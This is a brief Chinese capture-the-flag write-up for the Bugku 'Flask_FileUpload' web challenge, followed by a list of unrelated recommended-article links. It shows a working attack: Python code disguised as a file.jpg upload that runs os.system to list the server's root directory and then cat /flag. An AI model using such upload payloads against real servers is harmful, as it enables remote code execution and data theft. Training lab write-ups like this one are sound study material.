Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
五月君_14 小时前
放弃 Python,Kimi 用 TS + Node.js 重写了一个 Kimi Code
开发语言·python·node.js
还是鼠鼠14 小时前
AI掘金头条新闻系统 (Toutiao News)-获取用户信息
后端·python·mysql·fastapi·web
Sombra_Olivia14 小时前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
Cloud_Shy61814 小时前
解读《Effective Python 3rd Edition》:从练气到老魔
开发语言·python
SunnyDays101114 小时前
Python 操作 Excel 超链接:添加网页、文件、工作表和图片链接
python·excel
KaMeidebaby14 小时前
卡梅德生物技术快报|Western Blot 实验应用:肺肠轴机制研究全流程技术解析
前端·数据库·人工智能·算法·百度
数字护盾(和中)14 小时前
攻击链识别:企业抵御快攻型勒索攻击的关键能力
网络·安全·web安全
li星野14 小时前
RAG优化系列:HyDE(假设文档嵌入)——让LLM先写答案再检索
python·学习
知识分享小能手14 小时前
Flask入门学习教程,从入门到精通,Flask智能租房——用户中心知识点详解(9)
python·学习·flask
MageGojo14 小时前
做节日活动页时,如何用 API 快速生成对联内容
javascript·python·节日·对联生成